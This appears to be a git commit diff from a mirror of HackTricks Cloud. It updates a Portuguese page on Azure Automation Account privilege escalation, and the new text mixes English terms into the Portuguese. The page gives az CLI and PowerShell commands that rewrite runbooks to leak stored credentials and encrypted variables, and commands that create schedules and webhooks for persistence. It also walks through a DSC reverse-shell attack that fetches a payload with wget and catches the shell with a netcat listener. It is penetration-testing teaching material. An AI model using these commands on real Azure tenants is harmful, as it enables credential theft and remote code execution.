mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+64
-46
@@ -4,37 +4,37 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Para mais informações, consulte:
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Grupo de Trabalhadores Híbridos
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Da Conta de Automação para a VM**
|
||||
- **Do Automation Account para a VM**
|
||||
|
||||
Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure.
|
||||
Lembre-se que, se por algum meio um atacante conseguir executar um runbook arbitrário (código arbitrário) em um hybrid worker, ele irá **pivot to the location of the VM**. Isso pode ser uma máquina on-premise, uma VPC de uma nuvem diferente ou até mesmo uma Azure VM.
|
||||
|
||||
Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outras Identidades Gerenciadas anexadas, o runbook poderá acessar a **identidade gerenciada do runbook e todas as identidades gerenciadas da VM a partir do serviço de metadados**.
|
||||
Além disso, se o hybrid worker estiver executando em Azure com outras Managed Identities anexadas, o runbook poderá acessar a **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**).
|
||||
> Lembre-se que o **metadata service** tem uma URL diferente (**`http://169.254.169.254`**) do que o serviço de onde se obtém o token das **Managed Identities** da Automation Account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Da VM para a Conta de Automação**
|
||||
- **Da VM para a Automation Account**
|
||||
|
||||
Além disso, se alguém comprometer uma VM onde um script da conta de automação está sendo executado, ele poderá localizar os metadados da **Conta de Automação** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Conta de Automação.
|
||||
Além disso, se alguém comprometer uma VM onde um script da Automation Account esteja em execução, poderá localizar os metadados da **Automation Account** e acessá-los da VM para obter tokens das **Managed Identities** anexadas à Automation Account.
|
||||
|
||||
Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas **variáveis de ambiente do processo** a URL e o segredo para acessar o serviço de metadados da conta de automação:
|
||||
Como é possível ver na imagem seguinte, tendo acesso de Administrator à VM é possível encontrar nas **environment variables of the process** a URL e um secret para acessar o automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você poderia usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Conta de Automação.
|
||||
Em resumo, essas permissões permitem **create, modify and run Runbooks** na Automation Account, que podem ser usados para **execute code** no contexto da Automation Account e escalar privilégios para as **Managed Identities** atribuídas, além de leak **credentials** e **encrypted variables** armazenadas na Automation Account.
|
||||
|
||||
A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando:
|
||||
A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Automation Account usando:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação.
|
||||
Observe como o script anterior pode ser usado para **leak o username e o password** de uma credencial e o valor de uma **variável criptografada** armazenada no Automation Account.
|
||||
|
||||
A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações:
|
||||
A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite ao usuário publicar um Runbook na Automation Account para que as alterações sejam aplicadas:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
A permissão **`Microsoft.Automation/automationAccounts/jobs/write`** permite que o usuário execute um Runbook na Conta de Automação usando:
|
||||
A permissão **`Microsoft.Automation/automationAccounts/jobs/write`** permite que o usuário execute um Runbook na Automation Account usando:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,7 +64,7 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
A permissão **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite que o usuário leia a saída de um trabalho na Conta de Automação usando:
|
||||
A permissão **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite que o usuário leia a saída de um job na Automation Account usando:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
@@ -75,7 +75,7 @@ az automation runbook create --automation-account-name <account-name> --resource
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Esta permissão permite que o usuário **atribua uma identidade gerenciada pelo usuário** à Conta de Automação usando:
|
||||
Esta permissão permite ao usuário **assign a user managed identity** no Automation Account usando:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Agendamento na Conta de Automação que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/schedules/write`** é possível criar um novo Schedule na Automation Account que é executado a cada 15 minutos (não muito discreto) usando o seguinte comando.
|
||||
|
||||
Observe que o **intervalo mínimo para um agendamento é de 15 minutos**, e o **tempo de início mínimo é de 5 minutos** no futuro.
|
||||
Observe que o **intervalo mínimo para um Schedule é de 15 minutos**, e o **início mínimo deve ser pelo menos 5 minutos no futuro**.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -134,15 +134,33 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição.
|
||||
> No exemplo anterior o jobchedule id foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** mas você precisará usar um valor arbitrário para criar essa atribuição.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando.
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Automation Account usando um dos seguintes comandos.
|
||||
|
||||
Com Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Este comando deve retornar um URI de webhook que é exibido apenas na criação. Em seguida, para chamar o runbook usando o URI do webhook
|
||||
Com AzureCLI e REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Esses comandos devem retornar um webhook URI, que é exibido apenas no momento da criação. Em seguida, para chamar o runbook usando o webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como os seguintes (este usa o Github como exemplo):
|
||||
Esta permissão permite que o usuário **configurar um controle de versão** para o Automation Account usando comandos como os seguintes (este exemplo usa o Github):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Isso importará automaticamente os runbooks do repositório do Github para a Conta de Automação e, com algumas outras permissões para começar a executá-los, seria **possível escalar privilégios**.
|
||||
Isso importará automaticamente os runbooks do repositório do Github para a Automation Account e, com mais algumas permissões para começar a executá-los, seria **possível escalar privilégios**.
|
||||
|
||||
Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve haver uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, o id do cliente da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Além disso, lembre-se de que, para que source control funcione em Automation Accounts, ele deve ter uma managed identity com a role **`Contributor`** e, se for uma user managed identity, o client id da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Observe que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado.
|
||||
> Note que não é possível alterar a URL do repositório de um source control depois que ele é criado.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/variables/write`**, é possível escrever variáveis na Conta de Automação usando o seguinte comando.
|
||||
Com a permissão **`Microsoft.Automation/automationAccounts/variables/write`** é possível gravar variáveis na Automation Account usando o seguinte comando.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Ambientes de Execução Personalizados
|
||||
### Ambientes de Runtime Customizados
|
||||
|
||||
Se uma conta de automação estiver usando um ambiente de execução personalizado, pode ser possível sobrescrever um pacote personalizado do ambiente com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook que utiliza esse ambiente personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.
|
||||
Se uma automation account estiver usando um custom runtime environment, pode ser possível sobrescrever um pacote customizado do runtime com código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando esse custom runtime for executado e carregar o pacote customizado, o código malicioso será executado.
|
||||
|
||||
### Comprometendo a Configuração de Estado
|
||||
### Comprometendo a Desired State Configuration
|
||||
|
||||
**Verifique o post completo em:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Confira o post completo em:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Passo 1 — Criar Arquivos
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Arquivos Necessários:** Dois scripts PowerShell são necessários:
|
||||
1. `reverse_shell_config.ps1`: Um arquivo de Configuração de Estado Desejado (DSC) que busca e executa a carga útil. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
**Files Required:** São necessários dois scripts PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Um arquivo Desired State Configuration (DSC) que busca e executa o payload. Pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/carga útil.
|
||||
**Customization:** Variáveis e parâmetros nesses arquivos devem ser ajustados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.
|
||||
|
||||
- Passo 2 — Compactar o Arquivo de Configuração
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, tornando-o pronto para transferência para a Conta de Armazenamento do Azure.
|
||||
O `reverse_shell_config.ps1` é compactado em um arquivo `.zip`, ficando pronto para transferência para a Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Passo 3 — Definir Contexto de Armazenamento e Fazer Upload
|
||||
- Passo 3 — Definir Storage Context & Upload
|
||||
|
||||
O arquivo de configuração compactado é enviado para um contêiner de Armazenamento Azure predefinido, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.
|
||||
O arquivo de configuração compactado é enviado para um container predefinido do Azure Storage, azure-pentest, usando o cmdlet Set-AzStorageBlobContent do Azure.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Passo 4 — Preparar Kali Box
|
||||
- Passo 4 — Prep Kali Box
|
||||
|
||||
O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.
|
||||
O servidor Kali baixa o payload RevPS.ps1 de um repositório GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
O script é editado para especificar a VM Windows alvo e a porta para o shell reverso.
|
||||
O script é editado para especificar a Windows VM alvo e a porta para o reverse shell.
|
||||
|
||||
- Passo 5 — Publicar Arquivo de Configuração
|
||||
- Step 5 — Publicar arquivo de configuração
|
||||
|
||||
O arquivo de configuração é executado, resultando na implantação do script de shell reverso no local especificado na VM Windows.
|
||||
O arquivo de configuração é executado, resultando na implantação do reverse-shell script no local especificado na Windows VM.
|
||||
|
||||
- Passo 6 — Hospedar Payload e Configurar Listener
|
||||
- Step 6 — Hospedar o payload e configurar o listener
|
||||
|
||||
Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas.
|
||||
Um Python SimpleHTTPServer é iniciado para hospedar o payload, juntamente com um Netcat listener para capturar conexões recebidas.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM.
|
||||
A tarefa agendada executa o payload, obtendo privilégios em nível de SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user